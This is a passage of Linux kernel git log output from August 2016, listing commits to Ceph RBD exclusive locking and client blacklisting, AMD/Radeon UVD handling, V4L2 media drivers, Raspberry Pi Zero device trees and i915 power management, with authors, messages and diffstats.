Dryomov Date: Thu Aug 18 18:38:43 2016 +0200 rbd: add 'client_addr' sysfs rbd device attribute Export client addr/nonce, so userspace can check if a image is being blacklisted. Signed-off-by: Mike Christie [idryomov@gmail.com: ceph_client_addr(), endianess fix] Signed-off-by: Ilya Dryomov Documentation/ABI/testing/sysfs-bus-rbd | 6 ++++++ drivers/block/rbd.c | 13 +++++++++++++ include/linux/ceph/libceph.h | 1 + net/ceph/ceph_common.c | 6 ++++++ 4 files changed, 26 insertions(+) commit ca7909e8bbb4ddc549fa1e8afa695f147bb6358c Author: Ilya Dryomov Date: Thu Aug 18 18:38:41 2016 +0200 rbd: print capacity in decimal and features in hex With exclusive-lock added and more to come, print features into dmesg. Change capacity to decimal while at it. Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie drivers/block/rbd.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit ed95b21a4b0a71ef89306cdeb427d53cc9cb343f Author: Ilya Dryomov Date: Fri Aug 12 16:40:02 2016 +0200 rbd: support for exclusive-lock feature Add basic support for RBD_FEATURE_EXCLUSIVE_LOCK feature. Maintenance operations (resize, snapshot create, etc) are offloaded to librbd via returning -EOPNOTSUPP - librbd should request the lock and execute the operation. Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie Tested-by: Mike Christie drivers/block/rbd.c | 812 +++++++++++++++++++++++++++++++++++++++++++++- drivers/block/rbd_types.h | 11 + net/ceph/ceph_strings.c | 1 + 3 files changed, 808 insertions(+), 16 deletions(-) commit 99d1694310df3ffef66902f5bc1a23e95a724aa3 Author: Ilya Dryomov Date: Fri Aug 12 16:11:41 2016 +0200 rbd: retry watch re-registration periodically Revamp watch code to support retrying watch re-registration: - add rbd_dev->watch_state for more robust errcb handling - store watch cookie separately to avoid dereferencing watch_handle which is set to NULL on unwatch - move re-register code into a delayed work and retry re-registration every second, unless the client is blacklisted Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie Tested-by: Mike Christie drivers/block/rbd.c | 138 +++++++++++++++++++++++++++++++++++++++----------- net/ceph/osd_client.c | 1 + 2 files changed, 110 insertions(+), 29 deletions(-) commit 1643dfa4c2c827d6e2aa419df8c17b0f24090278 Author: Ilya Dryomov Date: Fri Aug 12 15:45:52 2016 +0200 rbd: introduce a per-device ordered workqueue This is going to be used for re-registering watch requests and exclusive-lock tasks: acquire/request lock, notify-acquired, release lock, notify-released. Some refactoring in the map/unmap paths was necessary to give this workqueue a meaningful name: "rbdX-tasks". Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie drivers/block/rbd.c | 151 ++++++++++++++++++++++++---------------------------- 1 file changed, 71 insertions(+), 80 deletions(-) commit 033268a5f01270f0ef20d1a9a078b157f4af97f8 Author: Ilya Dryomov Date: Fri Aug 12 14:59:58 2016 +0200 libceph: rename ceph_client_id() -> ceph_client_gid() It's gid / global_id in other places. Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie Reviewed-by: Alex Elder drivers/block/rbd.c | 2 +- include/linux/ceph/libceph.h | 2 +- net/ceph/ceph_common.c | 7 ++++--- 3 files changed, 6 insertions(+), 5 deletions(-) commit 6305a3b415157759bfe4b50a643fac22ea229f5c Author: Douglas Fuller Date: Wed Jul 22 20:59:52 2015 -0400 libceph: support for blacklisting clients Reuse ceph_mon_generic_request infrastructure for sending monitor commands. In particular, add support for 'blacklist add' to prevent other, non-responsive clients from making further updates. Signed-off-by: Douglas Fuller [idryomov@gmail.com: refactor, misc fixes throughout] Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie Reviewed-by: Alex Elder include/linux/ceph/ceph_fs.h | 11 ++++++ include/linux/ceph/mon_client.h | 3 ++ net/ceph/mon_client.c | 82 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 96 insertions(+) commit d4ed4a530562881cc5225050e42d96034f405aae Author: Douglas Fuller Date: Mon Jun 29 16:55:42 2015 -0700 libceph: support for lock.lock_info Add an interface for the Ceph OSD lock.lock_info method and associated data structures. Based heavily on code by Mike Christie . Signed-off-by: Douglas Fuller [idryomov@gmail.com: refactor, misc fixes throughout] Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie Reviewed-by: Alex Elder include/linux/ceph/cls_lock_client.h | 22 ++++++ net/ceph/cls_lock_client.c | 145 +++++++++++++++++++++++++++++++++++ 2 files changed, 167 insertions(+) commit f66241cb99dac861aa2cedb9f05ffa98d70cbc6e Author: Douglas Fuller Date: Thu Jun 18 13:06:10 2015 -0700 libceph: support for advisory locking on RADOS objects This patch adds support for rados lock, unlock and break lock. Based heavily on code by Mike Christie . Signed-off-by: Douglas Fuller Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie Reviewed-by: Alex Elder include/linux/ceph/cls_lock_client.h | 27 ++++++ net/ceph/Makefile | 1 + net/ceph/cls_lock_client.c | 180 +++++++++++++++++++++++++++++++++++ 3 files changed, 208 insertions(+) commit 428a715811fe74e8a8f09b830c8d3b5245096f8d Author: Douglas Fuller Date: Wed Jun 17 14:49:45 2015 -0400 libceph: add ceph_osdc_call() single-page helper Add a convenience function to osd_client to send Ceph OSD 'class' ops. The interface assumes that the request and reply data each consist of single pages. Signed-off-by: Douglas Fuller Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie Reviewed-by: Alex Elder include/linux/ceph/osd_client.h | 8 +++++++ net/ceph/osd_client.c | 51 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 59 insertions(+) commit a4ed38d7a180f184a6e7aedd09db9ca4b1e6a71c Author: Douglas Fuller Date: Fri Jul 17 13:18:07 2015 -0700 libceph: support for CEPH_OSD_OP_LIST_WATCHERS Add support for this Ceph OSD op, needed to support the RBD exclusive lock feature. Signed-off-by: Douglas Fuller [idryomov@gmail.com: refactor, misc fixes throughout] Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie Reviewed-by: Alex Elder include/linux/ceph/osd_client.h | 15 +++++- net/ceph/osd_client.c | 117 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 131 insertions(+), 1 deletion(-) commit f01d5cb24ea92494f9e093e6ee411364a686be99 Author: Ilya Dryomov Date: Thu Jun 2 16:45:08 2016 +0200 libceph: rename ceph_entity_name_encode() -> ceph_auth_entity_name_encode() Clear up EntityName vs entity_name_t confusion. Signed-off-by: Ilya Dryomov Reviewed-by: Mike Christie Reviewed-by: Alex Elder include/linux/ceph/auth.h | 2 +- net/ceph/auth.c | 7 +++++-- net/ceph/auth_none.c | 2 +- 3 files changed, 7 insertions(+), 4 deletions(-) commit 6d232c80158ae5a6fb497e0462d52c57c4459439 Author: Mauro Carvalho Chehab Date: Mon Aug 22 22:02:57 2016 -0300 docs-rst: kernel-doc: better output struct members Right now, for a struct, kernel-doc produces the following output: .. c:type:: struct v4l2_prio_state stores the priority states **Definition** :: struct v4l2_prio_state { atomic_t prios[4]; }; **Members** ``atomic_t prios[4]`` array with elements to store the array priorities Putting a member name in verbatim and adding a continuation line causes the LaTeX output to generate something like: item[atomic_t prios\[4\]] array with elements to store the array priorities Everything inside "item" is non-breakable, with may produce lines bigger than the column width. Also, for function members, like: int (* rx_read) (struct v4l2_subdev *sd, u8 *buf, size_t count,ssize_t *num); It puts the name of the member at the end, like: int (*) (struct v4l2_subdev *sd, u8 *buf, size_t count,ssize_t *num) read With is very confusing. The best is to highlight what really matters: the member name. is a secondary information. So, change kernel-doc, for it to produce the output on a different way: **Members** ``prios[4]`` array with elements to store the array priorities Also, as the type is not part of LaTeX "item[]", LaTeX will split it into multiple lines, if needed. So, both LaTeX/PDF and HTML outputs will look good. It should be noticed, however, that the way Sphinx LaTeX output handles things like: Foo bar is different than the HTML output. On HTML, it will produce something like: **Foo** bar While, on LaTeX, it puts both foo and bar at the same line, like: **Foo** bar Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet scripts/kernel-doc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit dee81e9886748594babac67c14b0f720148e255d Author: Alexey Dobriyan Date: Wed Aug 24 21:03:05 2016 +0300 fixdep: faster CONFIG_ search Do you think kernel build is 100% dominated by gcc? You are wrong! One small utility called "fixdep" consistently manages to sneak into profile's first page (unless you have small monitor of course). The choke point is this clever code: for (; m < end; m++) { if (*m == INT_CONF) { p = (char *) m ; goto conf; } if (*m == INT_ONFI) { p = (char *) m-1; goto conf; } if (*m == INT_NFIG) { p = (char *) m-2; goto conf; } if (*m == INT_FIG_) { p = (char *) m-3; goto conf; } 4 branches per 4 characters is not fast. Use strstr(3), so that SSE2 etc can be used. With this patch, fixdep is so deep at the bottom, it is hard to find it. Signed-off-by: Alexey Dobriyan Signed-off-by: Michal Marek scripts/basic/fixdep.c | 86 ++++++++++++++++---------------------------------- 1 file changed, 28 insertions(+), 58 deletions(-) commit c8336249c1eeca288919e3286f7dd03ae1d8ceae Author: Stefan Wahren Date: Sun Aug 21 15:10:03 2016 +0000 ARM: dts: bcm2835: Add Raspberry Pi Zero The Raspberry Pi Zero is a minified version of model A+. It's notable there is no PWR LED and the ACT LED is inverted. Additionally the Pi Zero is capable of the USB peripheral mode. Signed-off-by: Stefan Wahren Acked-by: Stephen Warren Signed-off-by: Eric Anholt arch/arm/boot/dts/Makefile | 3 ++- arch/arm/boot/dts/bcm2835-rpi-zero.dts | 40 ++++++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 1 deletion(-) commit 33fdf6fd764ed7deea87094f30d7d3dc76e154de Author: Stefan Wahren Date: Tue Jul 26 18:53:32 2016 +0000 DT: bindings: bcm: Add Raspberry Pi Zero Signed-off-by: Stefan Wahren Acked-by: Rob Herring Acked-by: Stephen Warren Signed-off-by: Eric Anholt Documentation/devicetree/bindings/arm/bcm/brcm,bcm2835.txt | 4 ++++ 1 file changed, 4 insertions(+) commit 00a33ec4649e059dfcf81d0f90402fb02db50691 Author: Stefan Wahren Date: Sun Aug 21 15:10:00 2016 +0000 ARM: dts: bcm283x: Add dtsi for USB host mode In case dr_mode isn't passed via DT, the dwc2 defaults to OTG mode. But all Raspberry Pi boards here are designed only for host mode. So fix this issue by providing a dtsi file which set the dr_mode to host. Signed-off-by: Stefan Wahren Acked-by: Stephen Warren Signed-off-by: Eric Anholt arch/arm/boot/dts/bcm2835-rpi-a-plus.dts | 1 + arch/arm/boot/dts/bcm2835-rpi-a.dts | 1 + arch/arm/boot/dts/bcm2835-rpi-b-plus.dts | 1 + arch/arm/boot/dts/bcm2835-rpi-b-rev2.dts | 1 + arch/arm/boot/dts/bcm2835-rpi-b.dts | 1 + arch/arm/boot/dts/bcm2836-rpi-2-b.dts | 1 + arch/arm/boot/dts/bcm283x-rpi-usb-host.dtsi | 3 +++ 7 files changed, 9 insertions(+) commit 33145fac8e7e9eb0e064cd0cd0032d6786b6420c Author: Stefan Wahren Date: Sun Aug 21 15:09:59 2016 +0000 ARM: dts: bcm283x: Add missing USB clock According to the DWC2 binding an appropriate clock is required. This clock isn't handled by bcm2835 clock driver, so add a fixed clock to the bcm283x DT. Signed-off-by: Stefan Wahren Acked-by: Stephen Warren Signed-off-by: Eric Anholt arch/arm/boot/dts/bcm283x.dtsi | 9 +++++++++ 1 file changed, 9 insertions(+) commit 7b4d3e297e8a7d3b82e68231ff077e891c370349 Author: Christian König Date: Tue Aug 23 11:18:59 2016 +0200 drm/amdgpu: use memcpy_toio for VCE firmware upload Try to be clean here, even when it's a noop on x86. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vce.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ba0b2275a6781b2f3919d931d63329b5548f6d5f Author: Christian König Date: Tue Aug 23 11:00:17 2016 +0200 drm/amdgpu: use memcpy_to/fromio for UVD fw upload Also use the firmware size from the header instead of calculating it. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_uvd.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 39a5830a05a1b599192346e832eb9fe4ff4f2164 Author: Rex Zhu Date: Mon Aug 22 20:49:36 2016 +0800 drm/amd/powerplay: delete useless code in iceland_hwmgr.c. Reviewed-by: Alex Deucher Signed-off-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 2 -- 1 file changed, 2 deletions(-) commit 70a033d25b197b0a4e60509911195613cf28b57e Author: Alex Deucher Date: Tue Aug 23 10:07:28 2016 -0400 drm/radeon: switch UVD code to use UVD_NO_OP for padding Replace packet2's with packet0 writes to UVD_NO_OP. The value written to UVD_NO_OP does not matter. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/cik.c | 2 +- drivers/gpu/drm/radeon/cikd.h | 1 + drivers/gpu/drm/radeon/evergreen.c | 2 +- drivers/gpu/drm/radeon/evergreend.h | 1 + drivers/gpu/drm/radeon/ni.c | 2 +- drivers/gpu/drm/radeon/nid.h | 1 + drivers/gpu/drm/radeon/r600.c | 2 +- drivers/gpu/drm/radeon/radeon_uvd.c | 6 ++++-- drivers/gpu/drm/radeon/rv770.c | 2 +- drivers/gpu/drm/radeon/rv770d.h | 1 + drivers/gpu/drm/radeon/si.c | 2 +- drivers/gpu/drm/radeon/sid.h | 1 + 12 files changed, 15 insertions(+), 8 deletions(-) commit c8b4f288f4276078f169a404e2d1ac1535f82b93 Author: Alex Deucher Date: Tue Aug 23 09:12:21 2016 -0400 drm/amdgpu: switch UVD code to use UVD_NO_OP for padding Replace packet2's with packet0 writes to UVD_NO_OP. The value written to UVD_NO_OP does not matter. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_uvd.c | 6 ++++-- drivers/gpu/drm/amd/amdgpu/uvd_v4_2.c | 2 +- drivers/gpu/drm/amd/amdgpu/uvd_v5_0.c | 2 +- drivers/gpu/drm/amd/amdgpu/uvd_v6_0.c | 2 +- drivers/gpu/drm/amd/include/asic_reg/uvd/uvd_5_0_d.h | 1 + drivers/gpu/drm/amd/include/asic_reg/uvd/uvd_6_0_d.h | 1 + 6 files changed, 9 insertions(+), 5 deletions(-) commit 4d6bdbad25e60eac1d14c039cbc32778e9dec8fe Author: Alex Deucher Date: Mon Aug 22 18:03:22 2016 -0400 drm/radeon: add support for UVD_NO_OP register Writes to this register are the preferred way to do NOPs. Bump the driver version as well. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/r600d.h | 1 + drivers/gpu/drm/radeon/radeon_drv.c | 3 ++- drivers/gpu/drm/radeon/radeon_uvd.c | 1 + 3 files changed, 4 insertions(+), 1 deletion(-) commit 8dd31d74acc1371d143fd0b2795dc3d16fb47202 Author: Alex Deucher Date: Mon Aug 22 17:58:14 2016 -0400 drm/amdgpu: add support for UVD_NO_OP register Writes to this register are the preferred way to do NOPs. Bump the driver version as well. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 3 ++- drivers/gpu/drm/amd/amdgpu/amdgpu_uvd.c | 1 + drivers/gpu/drm/amd/include/asic_reg/uvd/uvd_4_2_d.h | 1 + 3 files changed, 4 insertions(+), 1 deletion(-) commit a22f803cd22c3aac780757df712aebb79e1778c1 Author: Alex Deucher Date: Tue Aug 23 10:44:16 2016 -0400 drm/amdgpu: fix VCE ib alignment value The VCE rings only require single dword alignment. Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_kms.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c4795ca642b8bd76b5b6ffba41ba909543273d43 Author: Alex Deucher Date: Mon Aug 22 16:31:36 2016 -0400 drm/amdgpu: fix IB alignment for UVD According to the hw team, it should be 16, not 8. Cc: Peter Fang Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu_kms.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fb6609280db902bd5d34445fba1c926e95e63914 Author: Markus Elfring Date: Fri Aug 19 05:04:54 2016 -0300 [media] dvb_frontend: Use memdup_user() rather than duplicating its implementation * Reuse existing functionality from memdup_user() instead of keeping duplicate source code. This issue was detected by using the Coccinelle software. * Return directly if this copy operation failed. * Replace the specification of data structures by pointer dereferences to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-core/dvb_frontend.c | 28 ++++++---------------------- 1 file changed, 6 insertions(+), 22 deletions(-) commit 8eb14e8084b0f39dbf23dcd0c263fc2fac862048 Author: Javier Martinez Canillas Date: Wed Aug 17 14:26:28 2016 -0300 [media] vb2: Fix vb2_core_dqbuf() kernel-doc The kernel-doc has the wrong function name and also the pindex parameter is missing in the documentation. Signed-off-by: Javier Martinez Canillas Acked-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/videobuf2-core.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 15d6e91a2a77c7552e90b34925b210590244d4cb Author: Stanimir Varbanov Date: Tue Aug 16 06:09:42 2016 -0300 [media] media: v4l2-ctrls: append missing h264 profile string This appends missing "Stereo High" h264 profile string. Without it the v4l2 compliance would crash kernel with NULL pointer dereference at: [ 26.882278] [] std_validate+0x378/0x42c [ 26.886967] [] set_ctrl+0x8c/0x134 [ 26.892521] [] v4l2_s_ctrl+0x90/0xf4 [ 26.897555] [] v4l_s_ctrl+0x4c/0x110 [ 26.902503] [] __video_do_ioctl+0x240/0x2b4 [ 26.907625] [] video_usercopy+0x33c/0x46c [ 26.913441] [] video_ioctl2+0x14/0x1c [ 26.918822] [] v4l2_ioctl+0xe0/0x110 [ 26.924032] [] do_vfs_ioctl+0xb4/0x764 [ 26.929238] [] SyS_ioctl+0x84/0x98 [ 26.934707] [] __sys_trace_return+0x0/0x4 Signed-off-by: Stanimir Varbanov Acked-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/v4l2-ctrls.c | 1 + 1 file changed, 1 insertion(+) commit 708c05b8faf6ac82808bc416902ca23770190ee1 Author: Hans Verkuil Date: Mon Aug 15 05:10:15 2016 -0300 [media] media-types.rst: fix typo Fix copy-and-paste error: the radio devices are /dev/radio, not /dev/vbi. Signed-off-by: Hans Verkuil < Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/mediactl/media-types.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fd3223966cac9e6c3751b43c500963e9c71356f0 Author: Colin Ian King Date: Sat Aug 13 15:16:54 2016 -0300 [media] helene: fix memory leak when heleno_x_pon fails The error return path of failed calls to heleno_x_pon leak memory because priv is not kfree'd. Fix this by kfree'ing priv before returning. Signed-off-by: Colin Ian King Acked-by: Abylay Ospan Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/helene.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 5e015c0e6d1e83bff625f2596d8e123f616002fe Author: Wolfram Sang Date: Thu Aug 11 18:23:40 2016 -0300 [media] staging: media: lirc: lirc_sasem: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/lirc/lirc_sasem.c | 5 ----- 1 file changed, 5 deletions(-) commit c07c8ba8443c25c3372c712c62204ec86b6e38ad Author: Wolfram Sang Date: Thu Aug 11 18:23:39 2016 -0300 [media] staging: media: lirc: lirc_imon: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/lirc/lirc_imon.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit a53d2f299dc83340c695e153363a2f21641d5f58 Author: Javier Martinez Canillas Date: Thu Aug 11 13:28:16 2016 -0300 [media] v4l2-async: remove unneeded .registered_async callback The v4l2_subdev_core_ops .registered_async callback was added to notify a subdev when its entity has been registered with the media device, to allow for example to modify the media graph (i.e: adding entities/links). But that's not needed since there is already a .registered callback in struct v4l2_subdev_internal_ops that's called after the entity has been registered with the media device in v4l2_device_register_subdev(). Suggested-by: Sakari Ailus Signed-off-by: Javier Martinez Canillas Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/v4l2-async.c | 7 ------- include/media/v4l2-subdev.h | 3 --- 2 files changed, 10 deletions(-) commit 5a08bc008d8ee9573bc84161ef864f6c9553a6b0 Author: Javier Martinez Canillas Date: Thu Aug 11 13:28:15 2016 -0300 [media] tvp5150: use sd internal ops .registered instead .registered_async The driver is using the struct v4l2_subdev_core_ops .registered_async callback to register the connector entities and create the pad links after the subdev entity has been registered with the media device. But the .registered_async callback isn't needed since the v4l2 core already calls the struct v4l2_subdev_internal_ops .registered callback in v4l2_device_register_subdev(), after media_device_register_entity(). So, use the .registered() callback instead of the .registered_async() that is going to be removed in a following patch since isn't needed. Suggested-by: Sakari Ailus Signed-off-by: Javier Martinez Canillas Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/tvp5150.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit fc49071766ed371268cc03b868cf97f21ad3f273 Author: Sakari Ailus Date: Thu Aug 11 07:18:37 2016 -0300 [media] v4l: Do not allow re-registering sub-devices Albeit not prohibited explicitly, re-registering sub-devices generated a big, loud warning which quite likely soon was followed by a crash. What followed was re-initialising a media entity, driver's registered() callback being called and re-adding a list entry to a list. Prevent this by returning an error if a sub-device is already registered. [mchehab@s-opensource.com: reorder logic to check if !sd before dereferencing it] Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/v4l2-device.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 6a21b728732390deb75536dd9253d958ca9223d0 Author: Liu Ying Date: Thu Aug 11 02:10:11 2016 -0300 [media] media-entity.h: remove redundant macro definition for gobj_to_pad() The macro gobj_to_pad() is defined twice in media-entity.h. Let's remove one. Signed-off-by: Liu Ying Signed-off-by: Mauro Carvalho Chehab include/media/media-entity.h | 3 --- 1 file changed, 3 deletions(-) commit f598a6e362bb287a50085ffe0c3c8506127919f9 Author: Liu Ying Date: Thu Aug 11 02:10:09 2016 -0300 [media] media-entity.h: Correct KernelDoc of media_entity_enum_empty() The function media_entity_enum_empty() returns true when the bitmap of the input parameter media entity enumeration is empty instead of marked. This patch corrects the return value description of the function. Signed-off-by: Liu Ying Signed-off-by: Mauro Carvalho Chehab include/media/media-entity.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bb5147aa42777efe8fec262eab579cfba4500133 Author: Liu Ying Date: Thu Aug 11 02:10:10 2016 -0300 [media] media-entity.h: remove redundant macro definition for gobj_to_link() The macro gobj_to_link() is defined twice in media-entity.h. Let's remove one. Signed-off-by: Liu Ying Signed-off-by: Mauro Carvalho Chehab include/media/media-entity.h | 3 --- 1 file changed, 3 deletions(-) commit d259a5eed91de0e96be62ab51c6c6a812f26f04d Author: Christophe JAILLET Date: Wed Aug 10 02:54:41 2016 -0300 [media] drxd_hard: Add missing error code assignment before test It is likely that checking the result of the 2nd 'read16' is expected here. Signed-off-by: Christophe JAILLET Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/drxk_hard.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4068bd192a124585b9c55673a4ac5b3988abd981 Author: Paul Gortmaker Date: Mon Aug 22 17:59:48 2016 -0400 PCI: generic: Make explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCI_HOST_COMMON drivers/pci/host/Kconfig: bool Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Will Deacon drivers/pci/host/pci-host-common.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit dd9ad4fbf0cecfe9a823d6a18707af394eb9af21 Author: Stephen Backway Date: Tue Aug 9 19:43:40 2016 -0300 [media] cx23885: Add support for Hauppauge WinTV quadHD ATSC version Add support for the Hauppauge WinTV quadHD ATSC version. IR support has not been provided, all 4 tuners, demodulators etc are working. Further documentation can be found on Linux TV wiki. Signed-off-by: Stephen Backway Signed-off-by: Mauro Carvalho Chehab .../media/v4l-drivers/cx23885-cardlist.rst | 1 + drivers/media/pci/cx23885/cx23885-cards.c | 29 ++++++ drivers/media/pci/cx23885/cx23885-dvb.c | 100 +++++++++++++++++++++ drivers/media/pci/cx23885/cx23885.h | 3 +- 4 files changed, 132 insertions(+), 1 deletion(-) commit 05b01dd936b46f2c3cfbb10bc89c0ec79c745e5d Author: Milo Kim Date: Wed Aug 24 22:07:16 2016 +0900 ARM: dts: exynos: Use 'hpd-gpios' instead of 'hpd-gpio' This patch enables getting a HPD GPIO descriptor quicker. The exynos-hdmi driver uses "hpd" for HDMI hot plug detection. static int hdmi_resources_init(struct hdmi_context *hdata) { ... hdata->hpd_gpio = devm_gpiod_get(dev, "hpd", GPIOD_IN); ... } This calls 'of_find_gpio()' and it generates the GPIO consumer ID by referring GPIO suffix. So 'hpd-gpios' is preferred on getting a GPIO descriptor. However, if the device tree uses 'hpd-gpio', then the exynos-hdmi driver always retries to get a GPIO descriptor because the first GPIO suffix is not 'gpio' but 'gpios'. So you always see the debug message below. of_get_named_gpiod_flags: can't parse 'hpd-gpios' property of node '/soc/hdmi@14530000[0]' Use the preferred property, 'hpd-gpios' instead of 'hpd-gpio'. Acked-by: Rob Herring Reviewed-by: Andrzej Hajda Cc: devicetree@vger.kernel.org Cc: linux-arm-kernel@lists.infradead.org Cc: linux-samsung-soc@vger.kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Milo Kim Signed-off-by: Krzysztof Kozlowski Documentation/devicetree/bindings/display/exynos/exynos_hdmi.txt | 4 ++-- arch/arm/boot/dts/exynos4210-universal_c210.dts | 2 +- arch/arm/boot/dts/exynos4412-odroid-common.dtsi | 2 +- arch/arm/boot/dts/exynos5250-arndale.dts | 2 +- arch/arm/boot/dts/exynos5250-smdk5250.dts | 2 +- arch/arm/boot/dts/exynos5250-snow-common.dtsi | 2 +- arch/arm/boot/dts/exynos5250-spring.dts | 2 +- arch/arm/boot/dts/exynos5420-peach-pit.dts | 2 +- arch/arm/boot/dts/exynos5420-smdk5420.dts | 2 +- arch/arm/boot/dts/exynos5422-odroidxu3-common.dtsi | 2 +- arch/arm/boot/dts/exynos5800-peach-pi.dts | 2 +- 11 files changed, 12 insertions(+), 12 deletions(-) commit abc80abde5bd5962a4ec4e126ab7867c0b5fd195 Author: Chris Wilson Date: Wed Aug 24 10:27:01 2016 +0100 drm/i915: Force RC6 restore after system resume and reset In order for the RC6 autoenable worker to take any action, RC6 first must be disabled. Upon resume or reset, the sw state may be stale and so we require a forced restore. Fixes: b7137e0cf1e5 ("drm/i915: Defer enabling rc6 til after we submit...") Signed-off-by: Chris Wilson Cc: Mika Kuoppala Cc: Sagar Arun Kamble Link: http://patchwork.freedesktop.org/patch/msgid/20160824092701.19178-1-chris@chris-wilson.co.uk Reviewed-by: Mika Kuoppala drivers/gpu/drm/i915/i915_drv.c | 2 ++ 1 file changed, 2 insertions(+) commit 79cf219a6a2ecf553587fae41b117d8c49cc0a55 Author: Chris Wilson Date: Wed Aug 24 11:16:07 2016 +0100 drm/i915: Suppress DRM_ERROR for D_COMP write on Haswell The D_COMP (render decompression) register write is followed by a status check and another error (either that the decompression shutdown or the lpll is enabled). Since we are followed by another, more pertinent, error we can reduce the pcode timeout to a debug and squelch a sporadic error message during suspend. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97465 Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160824101607.13671-1-chris@chris-wilson.co.uk Reviewed-by: Matthew Auld drivers/gpu/drm/i915/intel_display.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c82dd8848479d27dec3f05e9a0980a83fcadca8b Author: Chris Wilson Date: Wed Aug 24 19:00:53 2016 +0100 Revert "drm/i915/fbc: Allow on unfenced surfaces, for recent gen" This reverts commit 8678fdaf396c ("drm/i915/fbc: Allow on unfenced surfaces, for recent gen") as Skylake has issues with unfenced FBC tracking (and yes Skylake doesn't even enable FBC yet). Paulo would like to do a full review of all existing workarounds to see if any more are missing prior to allowing FBC on unfenced surfaces. In the meantime lets hope that all framebuffers are idle and naturally fit within the mappable aperture. Requested-by: Paulo Zanoni Fixes: 8678fdaf396c ("drm/i915/fbc: Allow on unfenced surfaces..."); Cc: Paulo Zanoni Link: http://patchwork.freedesktop.org/patch/msgid/20160824180053.24239-1-chris@chris-wilson.co.uk Signed-off-by: Chris Wilson drivers/gpu/drm/i915/intel_fbc.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 0252937a87e1d46a8261da85cbd99dffe612a2d3 Author: Juergen Gross Date: Tue Aug 2 09:22:12 2016 +0200 xen: Make VPMU init message look less scary The default for the Xen hypervisor is to not enable VPMU in order to avoid security issues. In this case the Linux kernel will issue the message "Could not initialize VPMU for cpu 0, error -95" which looks more like an error than a normal state. Change the message to something less scary in case the hypervisor returns EOPNOTSUPP or ENOSYS when trying to activate VPMU. Signed-off-by: Juergen Gross Signed-off-by: David Vrabel arch/x86/xen/pmu.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 5b00b504b13b2f0d1aa73d59cf8984726f19100f Author: Juergen Gross Date: Tue Aug 2 08:53:36 2016 +0200 xen: rename xen_pmu_init() in 